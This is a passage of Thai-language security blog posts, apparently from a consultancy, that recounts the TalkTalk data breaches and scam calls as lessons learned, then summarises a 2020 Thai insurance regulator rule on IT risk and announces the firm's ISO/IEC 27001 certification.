- แจ้งลูกค้าว่าโทรมาจาก TalkTalk ถ้าลูกค้าไม่เชื่อก็จะพยายาม convince ว่าโทรจาก TalkTalk จริง ๆ นะ เพราะว่ามีรายละเอียดข้อมูลของลูกค้าทั้งหมดเลย
- หลังจากนั้นบอกว่ามีการจ่ายเงินเกินจาก TalkTalk เข้าบัญชีของลูกค้า
- ให้ลูกค้าเปิดคอมพิวเตอร์แล้วทำการ Share Screen ให้หน่อย จากนั้นพยายามหลอกให้ลูกค้าติดตั้ง Malware
- โดย Malware ตัวนี้จะทำการเปลี่ยนตัวเลข Balance ในบัญชีให้มีเยอะกว่าความเป็นจริง ทำให้ลูกค้าเชื่อว่า TalkTalk จ่ายเงินเกินมาจริง ๆ
- หลังจากนั้นก็พยายามให้ลูกค้าโอนเงินกลับไปให้
6. จากการตรวจสอบพบว่าสาเหตุของปัญหานี้ไม่ได้เกิดขึ้นกับ Server ในอังกฤษหรือยุโรปเลย แต่เกิดขึ้นในอินเดีย
7. TalkTalk มีการ Outsource ส่วนของ Call Centre ให้บริษัท Wipro ดูแล โดยบริษัทนี้อยู่ในอินเดียซึ่งมีพนักงานมากกว่า 1,000 คนที่สามารถเข้าถึงฐานข้อมูลของ TalkTalk ได้ แต่ว่ามีพนักงานประมาณ 40 คนที่มีสิทธิในการ search ได้มากกว่าคนอื่น คือ search แบบ wildcard ได้ เช่น search ว่า "A\*" ก็จะ list รายการที่ขึ้นต้นด้วยอักษร "A" ออกมาทั้งหมด แต่ทั้งนี้แต่ละรอบในการ search จะถูก limit ไว้ที่ 500 รายการ
8. พบว่ามีพนักงานจำนวน 3 คนที่ทำการนำข้อมูลออกผ่าน USB drive จำนวน 21,000 รายการ โดยที่พนักงานเหล่านี้นำข้อมูลไปให้ Scammer เพื่อทำการโทรหลอกเหยื่อ ซึ่งถ้าหลอกรายไหนได้สำเร็จ พนักงานก็จะได้รับส่วนแบ่งรายได้
9. หลังจากที่เกิด Data Breach ทาง TalkTalk แจ้ง ICO ซึ่งเป็น Data Protection Authority ของอังกฤษ ในเดือนกุมภาพันธ์ ปี 2015 (แต่เหตุเกิดตั้งแต่ช่วงเดือนพฤศจิกายน ปี 2014)
10. มีเหยื่อที่โดน Scam call แล้วจ่ายเงินมากถึง 3,900 GBP ซึ่งในเหตุการณ์นี้ TalkTalk ก็มีการจ่ายเงินคืนให้กับลูกค้าที่ได้รับผลกระทบแค่บางรายเท่านั้น โดยช่วงนั้น TalkTalk ก็ได้ออก awareness campaign ให้ลูกค้ามีความตระหนักเกี่ยวกับเรื่องนี้มากขึ้น โดยเมื่อไรก็ตามที่ได้รับ Scam call ที่ไม่แน่ใจให้ทำ 3 Steps ง่าย ๆ คือ 1.Hang up 2.Make Tea 3.Call back to official number
11. ในช่วงสิงหาคมปี 2015 เว็บไซต์หลัก 3 เว็บไซต์ของ Carphone Warehouse จู่ ๆ ก็ไม่สามารถเข้าได้ วันถัดมาได้มีการแจ้งลูกค้าว่าเกิด Data breach (ข้อมูลรั่วไหล) โดยข้อมูลที่คาดว่าหลุดออกมานั้นมีข้อมูลของลูกค้าจำนวน 2.5 ล้านราย ซึ่งมีประมาณ 450,000 ราย ที่เป็นลูกค้าของ TalkTalk
12. ในช่วงตุลาคมปี 2015 จู่ ๆ TalkTalk network ก็มีปัญหาทั้งโทรศัพท์ไม่ได้ และ Internet ก็ช้า ในตอนเที่ยงเว็บไซต์ของ TalkTalk ก็ไม่สามารถเข้าใช้งานได้ ในวันถัดมาทาง TalkTalk ได้ออกมาแจ้งว่าเกิด Data Breach ขึ้น ซึ่งเหตุการณ์ที่เกิดขึ้นในครั้งนี้ทาง TalkTalk ได้ออกมาแจ้งว่าทาง TalkTalk โดนโจมตี DDOS ทุกวัน และมีข้อมูลของลุกค้าหลุดออกไปเป็นจำนวน 4 ล้านราย โดยทาง TalkTalk ได้เสนอว่าจะให้บริการ Credit monitoring กับลุกค้าของ TalkTalk เป็นระยะเวลา 1 ปี พร้อมทั้งมีส่วนลดต่าง ๆ ให้ แต่ก็มีลูกค้าจำนวนไม่น้อยที่ต้องการย้ายออกจาก TalkTalk เพื่อไป Operator รายอื่น ซึ่งสำหรับลูกค้าที่ย้ายไปโดยยังไม่หมด Contract นั้นทาง TalkTalk ก็ไม่มีการลดหรือ waive ค่าธรรมเนียมแต่อย่างใด
13. ในเหตุการณ์นี้ CEO ของ TalkTalk (Dido Harding) ต้องเข้าไปให้สัมภาษณ์กับสื่อต่าง ๆ มากมาย รวมไปถึงต้องเข้าไปคุยกับ ICO ซึ่งหนึ่งใน session ที่โดนสัมภาษณ์มีความยาวประมาณ 2 ชั่วโมง โดนยิงคำถามไป 145 คำถาม นอกจากนี้ CEO ยังบอกว่าโดน email เรียกค่าไถ่ ว่าถ้าไม่จ่ายเงินให้จะนำข้อมูลของลูกค้าเปิดเผยสู่สาธารณะ
14. หลังจากตรวจสอบปัญหาที่เกิดขึ้นพบว่าสาเหตุที่ข้อมูลรั่วไหลเกิดจากช่องโหว่ SQL Injection ในช่วงตุลาคม 2015 นั้นโดนโจมตีด้วยเทคนิค SQL Injection มากกว่า 14,000 ครั้ง Source IP มาจากหลายที่ (เค้าใช้คำว่า Coordinated attack)
15. โดยเครื่องที่ถูกโจมตีนั้นเป็นเครื่อง Server ของ Tiscali (บริษัทที่ไปซื้อมา) ซึ่งเครื่องนี้ไม่ได้ patch มาหลายปี ในบทสัมภาษณ์ของ Dido Harding ก็บอกว่าเค้าไม่รู้ด้วยซ้ำว่าต้องป้องกันอะไร เพราะเค้าไม่รู้ว่ามี Server นี้อยู่ใน list ของเค้า ประเด็นนี้สำคัญมากนะครับ หลาย ๆ องค์กรปัจจุบันไม่รู้จริง ๆ ว่าตัวเองมี Asset อะไรบ้าง ถ้าไปอ่าน CIS Critical Control จะพบว่าเรื่องการทำ Asset Inventory นี่จะอยู่ในข้อแรก ๆ เลย.
16. ในเวลา 3 เดือน ตำรวจได้มีการสืบเรื่องนี้และตามจับได้ 6 คน ซึ่งทั้งหมดนี้เป็นผู้ชายมีอายุต่ำกว่า 21 ปี (ต่ำสุดคือ 15 ปี) โดยพบว่ามีทั้งคนที่ทดลอง Hack เพื่อความสนุกแล้วเอาไป post ตาม forum ของ hacker, คนที่ส่ง email เรียกค่าไถ่, คนที่เอาข้อมูลที่ขโมยออกมาไปขายใน underground market
17. TalkTalk เสียค่าปรับเป็นเงิน 550,000 USD และสูญเสียลูกค้ากว่า 1 แสนรายจากเหตุการณ์ครั้งนี้ ถือว่าโชคดีมากเพราะว่าในตอนนั้นยังไม่มีเรื่อง GDPR (General Data Protection Regulation) เพราะว่าค่าปรับของ GDPR เนี่ยสูงถึง 20 ล้านยูโร หรือ 4% ของรายรับขององค์กรนั้น ขึ้นกับว่าอันไหนแพงกว่ากัน
18. คำแนะนำจาก Dido Harding สำหรับเรื่องนี้คือ 1.เมื่อเกิดเหตุการณ์แบบนี้คุณควรจะบอกความจริงกับลูกค้า 2.เรื่อง Cybersecurity เป็นเรื่องที่สำคัญเป็นเรื่องที่บอร์ดบริหารจะต้องให้ความสำคัญ ไม่ใช่เพียงแค่จะส่งให้คนอื่นจัดการ เพราะสุดท้ายแล้วก็เป็นความรับผิดชอบของผู้บริหาร
Ref: [https://darknetdiaries.com/episode/4/](https://l.facebook.com/l.php?u=https%3A%2F%2Fdarknetdiaries.com%2Fepisode%2F4%2F%3Ffbclid%3DIwAR1g0JGHstUNOaehpPKaoR6%5F0FbqLGntH5Ve1WyiolWdbYvuj93NCQ-vrl4&h=AT3b8qJ28N99j6TmIGAii1wfrqrpwbQSHvCvDfWqCpE%5Fmev2hA2YBXTTY6d6pkeKtKUbcJY39DBigHbGC6UTerWI8vZPt4hbZEno4f7LhOA3-L56H2BZOb0qFsXn15P38rvaRLct&%5F%5Ftn%5F%5F=-UK-R&c%5B0%5D=AT2jiEuxBAMpaPtoEplnKEV41S22yjmPVkESI8iCun3ohsSSBrkZQXW3djc0zFCvm8cqLuwUSt38YM06D7PC7PtkAYIOUgVsQqTncZAKSasix7V8rB0nuKYfLQ-%5FWeGay1nmJt6dJkymUFIcawq9ZLIKoUSEb8jsubeenrPr2gIa%5FQ4){rel=""nofollow""}
---
หนึ่งในจุดเริ่มต้นของปัญหาที่ TalkTalk พบนั้นเกิดจากตอนที่ไปซื้อกิจการจาก Tiscali ซึ่งถ้าในมุมมองทางการเงิน ข้อมูลพวกนี้สามารถดูได้จากงบการเงิน แต่ถ้าเป็นเรื่องของ Cybersecurity ล่ะ???
ปัจจุบันมี Solution หลาย ๆ อันที่ทำการประเมินคะแนนด้าน Cybersecurity โดยดูจาก Public IP Address ขององค์กร และให้คะแนนตามหมวดหมู่ต่าง ๆ ซึ่ง SecurityScorecard เป็นหนึ่งในเครื่องมือที่ทำการวิเคราะห์โดยอ้างอิงข้อมูล 10 แกน ทั้งข้อมูลจาก Public IP address และ ข้อมูลจาก Dark web เพื่อทำการวิเคราะห์ระดับความปลอดภัยด้าน Cybersecurity ขององค์กร ซึ่งข้อมูลนี้ไม่เพียงแต่ใช้บอกได้ว่าองค์กรของเรามีความปลอดภัยเพียงใด แต่ยังใช้ดูได้ว่าคู่ค้าของเราแต่ละรายมีความมั่นคงปลอดภัยเพียงใด ในยุคนี้การทำงานต้องมีการส่งข้อมูลหากันมากขึ้น ถ้าคู่ค้าของเราดูแลข้อมูลไม่ดี เหตุการณ์แบบ TalkTalk ก็คงไม่ไกลตัวเราเกินไป
# หลักเกณฑ์บริหารความเสี่ยงด้าน IT ของบริษัทประกัน พ.ศ. 2563 ตอนที่ 1
## ทำความรู้จัก หลักเกณฑ์การกำกับดูแลและบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศ ของบริษัทประกันชีวิตและประกันวินาศภัย พ.ศ. 2563 ตอนที่ 1
ปัจจุบันถือเป็นเรื่องสำคัญอย่างยิ่งสำหรับองค์กรทุกองค์กร ในความพยายามที่จะปฏิบัติกฎหมาย กฎระเบียบ ประกาศ และข้อบังคับต่างๆ ที่ถูกประกาศออกมาและบังคับใช้จากหน่วยงานภาครัฐ อย่างไรก็ตามประกาศในแต่ละฉบับก็มีความมุ่งหวังที่ต่างกันออกไปแต่ในความตั้งใจนั้นคงจะหนีไม่พ้น ความต้องการในปกป้องลูกค้าหรือผู้ใช้บริการขององค์กรเหล่านั้นจากความไม่แน่นอนที่อาจเกิดขึ้นกับการทำธุรกิจ บางครั้งองค์กรเองอาจจะไม่ได้มองมุมอื่นที่นอกเหนือจากเป้าหมายในการดำเนินธุรกิจ ประกาศเหล่านั้นเองพยายามมองให้กว้างมากขึ้น เพื่อแนวทางให้แต่ละองค์กรให้เห็นความสำคัญกับการปกป้องลูกค้าจากเหตุการณ์ที่องค์กรเองอาจจะไม่ได้คาดคิดหรือองค์กรอาจจะยังไม่ได้ให้ความสำคัญ
วันนี้ผู้เขียนเองจะมาเล่าให้ฟังเกี่ยวกับประกาศฉบันหนึ่งที่ออกโดย คณะกรรมการกำกับและส่งเสริมการประกอบธุรกิจประกันภัย "เรื่อง หลักเกณฑ์การกำกับดูแลและบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศ ของบริษัทประกันชีวิตและประกันวินาศภัย พ.ศ. 2563" ตลอดหลายปีที่ผ่านมาผู้เขียนเองมีโอกาสได้ทำงานกับหน่วยงานกำกับอยู่บ้าง ทั้งกำกับสถาบันการเงิน กำกับหลักทรัพย์ และกำกับธุรกิจประกันภัย หลายท่านที่ทำงานเกี่ยวกับ Compliance หรืองานด้านกำกับขององค์กร คงจะทราบกันเป็นอย่างดีว่า มีกฎหมายและประกาศมากมายหลายฉบับที่องค์กรต้องปฏิบัติตาม โดยเฉพาะอย่างยิ่งบางองค์กรอยู่ภายใต้การกำกับดูแลจากหลายหน่วยงานกำกับจากการดำเนินธุรกิจในหลายภาคธุรกิจ
ย้อนกลับมาที่ตัวประกาศ คปภ. ที่ผู้เขียนจะมาเล่าให้ฟังในวันนี้ ประกาศฯ "เรื่อง หลักเกณฑ์การกำกับดูแลและบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศ ของบริษัทประกันชีวิตและประกันวินาศภัย พ.ศ. 2563" ซึ่งประกาศฉบับนี้เองมีผลบังคับใช้ตั้งแต่วันที่ 1 มกราคม 2564 ที่ผ่านมา แต่จะให้เล่าให้ฟังทั้งหมดในบทความเดียวนั้นคงเป็นไปได้ยาก ผู้เขียนจะขอแบ่งออกเป็นตอนไว้ เพราะเนื้อหาประกาศฉบับนี้เองมีจำนวนค่อนข้างมากอ้างอิงกฎหมาย อ้างอิงมาตรฐานสากลหลายฉบับในการที่พัฒนาขึ้นมา ทั้งยังไม่รวมไปถึงคู่การตรวจสอบที่ถูกจัดทำขึ้น เพื่อให้มั่นใจได้ว่าองค์กรที่อยู่ในธุรกิจประกันภัยจะสามารถตรวจสอบการดำเนินงานขององค์กรว่ามีความสอดคล้องตามประกาศดังกล่าวนี้มากน้อยแค่ไหน ในโอกาสหน้าผู้เขียนจะหาเวลามาเล่าให้ฟังกันอีกครั้งเกี่ยวกับคู่มือการตรวจสอบตามประกาศฉบับดังกล่าวนี้
ถ้าจะดูกันในความตั้งใจของประกาศฉบับนี้นั้นคงต้องเริ่มจากชื่อประกาศที่ประกอบด้วยคำ 2 คำ นั่นก็คือ "การกำกับดูแล" และ "การบริหารจัดการความเสี่ยง" ด้านเทคโนโลยีสารสนเทศ ซึ่งแน่นอน 2 คำนี้นั้นคงไม่สามารถแยกออกจากกันได้ทีเดียว แต่ผู้เขียนอยากให้เห็นถึงวัตถุประสงค์ของประกาศฉบับนี้ที่ให้ความสำคัญในภาพรวมขององค์กรผ่านการกำกับดูแลการดำเนินจากผู้บริหารระดับสูงสุดขององค์กร รวมไปถึงคณะกรรมการที่ควบคุมการดำเนินการขององค์กร เนื่องจากว่าหากไม่มีการกำกับดูแลรวมถึงการสนับสนุนที่ดีจากผู้บริหารระดับสูงขององค์กร ผู้ปฏิบัติงานหรือเจ้าหน้าที่ภายในองค์กรคงไม่สามารถดำเนินการให้สำเร็จหรือบรรลุตามเป้าหมายของตัวประกาศได้ ซึ่งแน่นอนตัวประกาศฉบับนี้นั้นได้เล็งเห็นถึงความสำคัญจากการที่ปัจจุบันที่เทคโนโลยีสารสนเทศเข้ามามีบทบาทอย่างมากในการประกอบการทำธุรกิจประกัน เช่น การขายผลิตภัณฑ์ประกันภัยผ่านสื่ออิเล็กทรอนิกส์ ระบบการจัดเก็บข้อมูลลูกค้า ระบบการพิจารณารับประกันภัย ระบบการจ่ายค่าสินไหมทดแทนและการชดใช้เงินหรือประโยชน์อื่นใดตามกรมธรรม์ปกันภัย เป็นต้น ดังนั้นเองเพื่อให้มั่นใจว่าการมีการกำกับที่ดี การบริหารจัดการความเสี่ยงที่ดี เพื่อมั่นใจได้ว่าระบบเทคโนโลยีสารสนเทศหลักที่ให้การสนับสนุนการดำเนินธุรกิจ และระบบสำคัญที่ให้บริการลูกค้าโดยตรงนั้น จะสามารถจัดการกับเหตุการณ์ที่ประพึงประสงค์ที่อาจจะเกิดขึ้นกับระบบเทคโนโลยีสารนเทศได้ ตัวประกาศเองประกอบด้วย 8 หัวข้อใหญ่ดังต่อไปนี้
1. การกำกับดูแลด้านเทคโนโลยีสารสนเทศ (IT Governance)
2. การบริหารโครงการด้านเทคโนโลยีสารสนเทศ (IT Project management)
3. การรักษาความมั่นคงปลอดภัยด้านเทคโนโลยีสารสนเทศ (IT security)
4. การบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศ (IT risk management)
5. การปฏิบัติตามกฎหมายและหลักเกณฑ์ที่เกี่ยวข้องกับเทคโนโลยีสารสนเทศ (IT compliance)
6. การตรวจสอบด้านเทคโนโลยีสารสนเทศ (IT audit)
7. การกำกับดูและการบริหารจัดการความเสี่ยงด้านความมั่นคงปลอดภัยทางไซเบอร์ (Cybersecurity)
8. การรายงานเหตุการณ์ภัยคุกคามทางไซเบอร์หรือภัยคุกคามที่มีต่อระบบเทคโนโลยีสารสนเทศ (Reporting)
จากหัวข้อใหญ่ทั้งหมด 8 หัวข้อ สามารถอ้างอิงไปยังมาตรฐาน (Standard) และแนวปฏิบัติที่ดี (Best Practice) ได้หลายฉบับ จึงจะเห็นได้ว่าตัวประกาศเองเป็นประกาศที่ถือว่าใหญ่มาก และแน่นอนบริษัทประกันก็จะมีภาระหน้าที่มากทีเดียว ในการที่ต้องปฏิบัติตามประกาศฉบับนี้
ข้อมูลในตัวประกาศกล่าวถึง Three Lines of Defense ในหัวข้อการกำกับดูแลด้านเทคโนโลยีสารสนเทศ (IT Governance) นั้น จะสรุปบทบาทหน้าที่ได้ดังนี้
- 1st line of defense: ทำหน้าที่ปฏิบัติงานด้านเทคโนโลยี เป็นเจ้าของความเสี่ยงและจัดการความเสี่ยง
- 2nd line of defense: ทำหน้าที่ดูแลการบริหารจัดการความเสี่ยงและการกำกับดูแลการปฏิบัติตามกฎหมาย และประกาศที่เกี่ยวข้อง
- 3rd line of defense : ทำหน้าที่ตรวจสอบด้านเทคโนโลยีสารสนเทศ
โดยเนื้อหาใจความสำคัญของประกาศสรุปได้ตามตารางด้านล่างนี้
| หัวข้อ\*\* | \*\*ใจความสำคัญ |
| --------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 1. การกำกับดูแลด้านเทคโนโลยีสารสนเทศ (IT Governance) | โครงสร้างการกำกับดูแลตามหลักการ 3 line of defense การกำหนดบทบาทหน้าที่ความรับผิดชอบ รวมไปถึงความเข้าใจด้านเทคโนโลยีสารสนเทศของคณะผู้บริหารขององค์กร |
| 2. การบริหารโครงการด้านเทคโนโลยีสารสนเทศ (IT Project management) | การบริหารโครงการด้านเทคโนโลยีสารสนเทศ ผ่านการกำกับดูและการความเสี่ยง และกรอบการบริหารจัดการโครงการด้านเทคโนโลยีสารสนเทศขององค์กร |
| 3. การรักษาความมั่นคงปลอดภัยด้านเทคโนโลยีสารสนเทศ (IT security) | อ้างอิงมาตรฐาน ISO 27001 ประกอบด้วย 12 หัวข้อดังต่อไปนี้ - IT Security Policy, Human Resource Security, Asset Management, Access Control, Cryptography, Physical and Environmental Security, Network and Communication Security, IT Operations Security, System Acquisition and Development, Third Party Management, IT Incident and Problem Management และ IT Continuity Planning |
| 4. การบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศ (IT risk management) | นโยบายและกระบวนการในการบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศ ที่ครอบคลุมความเสี่ยงด้านความมั่นคงปลอดภัยทางไซเบอร์ โดยมีการติดตามทบทวน และการรายงานความเสี่ยงอย่างสม่ำเสมอ |
| 5. การปฏิบัติตามกฎหมายและหลักเกณฑ์ที่เกี่ยวข้องกับเทคโนโลยีสารสนเทศ (IT compliance) | การกำกับดูแลการปฏิบัติตามกฎหมายและหลักเกณฑ์ที่เกี่ยวข้องกับเทคโนโลยีสารสนเทศ |
| 6. การตรวจสอบด้านเทคโนโลยีสารสนเทศ (IT audit) | การตรวจสอบด้านเทคโนโลยีสารสนเทศและไซเบอร์ขององค์กร โดยการกำหนดบทบาทหน้าที่ที่ชัดเจน กำหนดผู้ตรวจสอบที่มีความรู้ความสามารถ รวมถึงการรายงานผลการตรวจสอบและการติดตามอย่างสม่ำเสมอ |
| 7. การกำกับดูและการบริหารจัดการความเสี่ยงด้านความมั่นคงปลอดภัยทางไซเบอร์ (Cybersecurity) | อ้างอิงมาตรฐาน NIST CSF ซึ่งหัวข้อบางส่วนมีความทับซ้อนกับหัวข้อที่ 3 IT Security อย่างไรก็ตามมาตรฐานฉบับที่ได้ความสำคัญในส่วนของ Function การเตรียมการด้านความมั่นคงปลอดภัยทางไซเบอร์ขององค์กรเป็นหลัก ดังนี้ Identify Protect Detect Respond and Recover |
| 8. การรายงานเหตุการณ์ภัยคุกคามทางไซเบอร์หรือภัยคุกคามที่มีต่อระบบเทคโนโลยีสารสนเทศ(Reporting) | การรายงานเหตุภัยคุกคามด้านความมั่นคงปลอดภัยเทคโนโลยีสารสนเทศและความมั่นคงปลอดภัยทางไซเบอร์ต่อสำนักงาน คปภ. |
ในการดำเนินการให้สอดคล้องตามประกาศฉบับนี้ องค์กรคงต้องใช้ทรัพยากรมากพอสมควร ทั้งในด้านกระบวนการ ด้านเทคโนโลยี รวมถึงด้านบุคลากร แต่อย่างไรก็ตามหากองค์กรสามารถดำเนินการได้ตามประกาศทั้งหมด คงจะเป็นเรื่องที่ดีอย่างยิ่งสำหรับองค์กรเองและลูกค้าขององค์กร รวมไปถึงภาคธุรกิจประกันภัยที่จะถือได้ว่าเป็นการยกระดับการกำกับและการบริหารความเสี่ยงด้านเทคโนโลยีของภาคธุรกิจนี้ไปอีกขั้นหนึ่ง โดยผ่านการดำเนินการที่ดีตามมาตรฐานสากล ผ่านการกำกับจากผู้บริหารระดับสูงขององค์กร มีการพิจารณาถึงความเสี่ยงต่างๆ ที่อาจเกิดขึ้นกับระบบเทคโนโลยีสารสนเทศขององค์กร รวมไปถึงมีการรายงานและการติดตามอย่างสม่ำเสมอ และนั่นคงจะสร้างความน่าเชื่อถือต่อธุรกิจและบริการด้านประกันภัยของประเทศได้เป็นอย่างมาก
ในบทความถัด ๆ ไปผู้เขียนคงจะได้มีโอกาสเล่าให้ฟังในรายละเอียดแต่ละหัวข้อตามประกาศ รวมไปถึงที่กล่าวไว้ในบทความเกี่ยวกับคู่มือการตรวจสอบตามประกาศฉบับนี้ หากมีต้องการสอบถามข้อมูลเพิ่มสามารถติดต่อทีมที่ปรึกษาและทีมตรวจสอบเราได้ที่ [contact@incognitolab.com ](mailto\:contact@incognitolab.com)หรือ 080-089-8800, 090-642-8988
# Incognito Lab Certified ISO/IEC 27001:2013
เมื่อไม่กี่วันที่ผ่านมานี้ทางเรา Incognito Lab ได้ผ่านการตรวจรับรองและได้รับใบประกาศนียบัตรมาตรฐาน ISO/IEC 27001:2013 ภายใต้ขอบเขต "Cybersecurity consulting and Assessment Services including Penetration testing, Vulnerability Assessment Scanning, Red Teaming, Cyber Drill and Security Awareness Training" จากหน่วยงานผู้ตรวจรับรองมาตรฐาน (Certified Body (CB) Auditor Organization) โดยขอบเขตทั้งหมดครอบคลุม core service ของทางบริษัท เนื่องจากทางผู้บริหารระดับสูงของ Incognito Lab ได้ให้ความสำคัญอย่างมากในการที่จะดูแลข้อมูลลูกค้า รวมถึงการให้คำปรึกษา การให้บริการ และการดำเนินงานของบริษัทอย่างมีคุณภาพและประสิทธิภาพสูงสุดตามมาตรฐานสากล ผ่านทีมผู้เชี่ยวชาญที่มีประสบการณ์ในการทำงานด้าน Cybersecurity มาอย่างยาวนาน
วันนี้เองทางผู้เขียนก็จะมาเล่าให้ฟังสำหรับมาตรฐาน ISO/IEC 27001:2013 เชื่อว่าหลายท่านคงคุ้นเคยกับมาตรฐานฉบับนี้อยู่แล้ว เนื่องจากมาตรฐานฉบับนี้ได้รับความนิยมอย่างมากสำหรับการจัดทำระบบบริหารจัดการด้านความมั่นคงปลอดภัยสารสนเทศ (Information Security Management System: ISMS) ซึ่งมาตรฐานฉบับนี้ปัจจุบันคือเวอร์ชั่น 2013 (และคาดว่าจะมีเวอร์ชั่นใหม่ออกมาภายในปี 2021 นี้ด้วย) โดยมาตรฐานประกอบด้วยส่วนประกอบดังต่อไปนี้
## ระบบบริหารจัดการ (Annex SL, Annex: Management System Standard (MSS))
เป็นกิจกรรมที่เกี่ยวข้องกับระดับพัฒนาปรับปรุงอย่างต่อเนื่อง (Continual improvement) ผ่านการทำความเข้าใจบริบทองค์กร การสนับสนุนจากผู้บริหาร การกำหนดวัตถุประสงค์ การวางแผน การบริหารจัดการความเสี่ยง การประเมินผลระบบ และการพิจารณาปรับปรุง โดยในส่วนการปรับปรุงอย่างต่อเนื่องนี้เป็นข้อความจำเป็นหลักของมาตรฐาน ISO ทุกเบอร์ ถึงแม้ปัจจุบันอยู่ในระหว่างการเปลี่ยนโครงสร้างมาตรฐานมาใช้โครงการตาม Annex SL ทั้งหมด การดำเนินการทั้งหมดเพื่อต้องการปรับปรุงระบบที่ดำเนินการให้เป็นระบบบริหารจัดการที่ดียิ่งขึ้นอย่างต่อเนื่อง ซึ่งในความหมายของการปรับปรุงนั้นไม่ได้หมายความว่าการปรับปรุงคือจะต้องเพิ่มกิจกรรม กระบวนการหรือเครื่องมือเพียงอย่างเดียว การปรับปรุงนั้นอาจจะรวมถึงการลดบางกิจกรรม บางกระบวนการหรือบางเครื่องมือ หากการดำเนินการเหล่านั้นช่วยให้ระบบที่ดำเนินการอยู่ดียิ่งขึ้นได้
รายการมาตรการควบคุมและวัตถุประสงค์ด้านความมั่นคงปลอดภัยข้อมูลสารสนเทศ (Annex A. Information Security Controls) ในการดำเนินการเพื่อให้ได้รับรองมาตรฐาน บริษัทมีความจำเป็นต้องพิจารณาความเสี่ยงในกิจกรรมที่ดำเนินการและพิจารณานำมาตรการควบคุมไปปรับใช้ โดยมาตรฐานควบคุมทั้งหมดมี 114 มาตรฐานควบคุม ถูกระบุไว้ในทั้งหมด 14 หมวดหมู่ ดังรายละเอียดต่อไปนี้
- A.5 Information security policies (นโยบายด้านความมั่นคงปลอดภัยข้อมูลสารสนเทศ)
- A.6 Organization of information security (โครงสร้างด้านความมั่นคงปลอดภัยข้อมูลสารสนเทศ)
- A.7 Human resource security (การรักษาความมั่นคงปลอดภัยด้านบุคลากร)
- A.8 Asset management (การบริหารจัดการทรัพย์สินสารสนเทศ)
- A.9 Access control (การควบคุมการเข้าถึงระบบสารสนเทศ)
- A.10 Cryptography (การเข้ารหัส)
- A.11 Physical and environmental security (การรักษาความมั่นคงปลอดภัยทางกายภาพและสภาพแวดล้อม)
- A.12 Operational security (การรักษาความมั่นคงปลอดภัยด้านการปฏิบัติการสารสนเทศ)
- A.13 Communication security (การรักษาความมั่นคงปลอดภัยด้านการสื่อสาร)
- A.14 System acquisition, development and maintenance (การจัดหาร การพัฒนา และการดูแลบำรุงรักษาระบบสารสนเทศ)
- A.15 Supplier relationships (การทำงานร่วมกับผู้ให้บริการ/บุคคลภายนอก)
- A.16 Information security incident management (การบริหารจัดการเหตุการณ์ผิดปกติด้านความมั่นคงปลอดภัยข้อมูลสารสนเทศ)
- A.17 Information security aspects of business continuity management (การบริหารจัดการความต่อเนื่องทางธุรกิจที่เกี่ยวข้องกับด้านการรักษาความมั่นคงปลอดภัยข้อมูลสารสนเทศ)
- A.18 Compliance (การปฏิบัติตามข้อกำหนด กฎระเบียบ กฎหมาย รวมถึงข้อสัญญาที่เกี่ยวข้อง)
ไม่เพียงแต่เวอร์ชั่นปัจจุบันเท่านั้น ในประเทศไทย กฎหมาย หรือกฎระเบียบที่ถูกประกาศใช้จากภาครัฐ หน่วยงานกำกับ ก็มีเนื้อหาบางส่วนอ้างอิงการดำเนินการมาตรฐานนี้ ทั้งเวอร์ชั่นปัจจุบันปี 2013 รวมถึงเวอร์ชั่นก่อนหน้านี้ด้วย ISO/IEC 27001:2005 ดังจะเห็นได้จากตัวอย่างดังต่อไปนี้
ประกาศคณะกรรมการธุรกรรมทางอิเล็กทรอนิกส์ เรื่อง มาตรฐานการรักษาความมั่นคงปลอดภัยของระบบสารสนเทศตามวิธีการแบบปลอดภัย พ.ศ. 2555 [อ้างอิงมาตรฐาน ISO/IEC 27001:2005]
ประกาศสำนักงานคณะกรรมการกำกับหลักทรัพย์และตลาดหลักทรัพย์ (ก.ล.ต.) ประกาศที่ สธ. 37/2559 และ ประกาศแนวปฏิบัติ ที่ นป. 3/2559 เรื่อง แนวปฏิบัติในการจัดให้มีระบบเทคโนโลยีสารสนเทศ [เนื้อหาส่วนใหญ่ครอบคลุมมาตรฐาน ISO/IEC 27001:2005]
ประกาศสำนักงานคณะกรรมการกำกับและส่งเสริมการประกอบธุรกิจประกันภัย (คปภ.) เรื่อง กำหนดหลักเกณฑ์ วิธีการออก การเสนอขายกรมธรรม์ประกันภัยของบริษัทประกันชีวิต และการปฏิบัติหน้าที่ของตัวแทนประกันชีวิต นายหน้าประกันชีวิต และธนาคาร พ.ศ. 2561 [เนื้อหาส่วนใหญ่ครอบคลุมมาตรฐาน ISO/IEC 27001:2005]
ประกาศสำนักงานคณะกรรมการกำกับและส่งเสริมการประกอบธุรกิจประกันภัย (คปภ.) เรื่อง หลักเกณฑ์การกำกับดูแลและบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศของบริษัทประกันชีวิต / ประกันวินาศภัย พ.ศ. 2563 [เนื้อหาบางส่วนครอบคลุมมาตรฐานISO/IEC 27001:2013]
ประกาศธนาคารแห่งประเทศไทย ที่ สนช. 1/2564 เรื่อง หลักเกณฑ์การกำกับดูแลความเสี่ยงด้านเทคโนโลยีสารสนเทศ (Information Technology Risk) ตามกฎหมายว่าด้วยระบบการชำระเงิน [เนื้อหาบางส่วนในหัวข้อ IT Security สอดคล้องกับมาตรฐาน ISO/IEC 27001:2013]
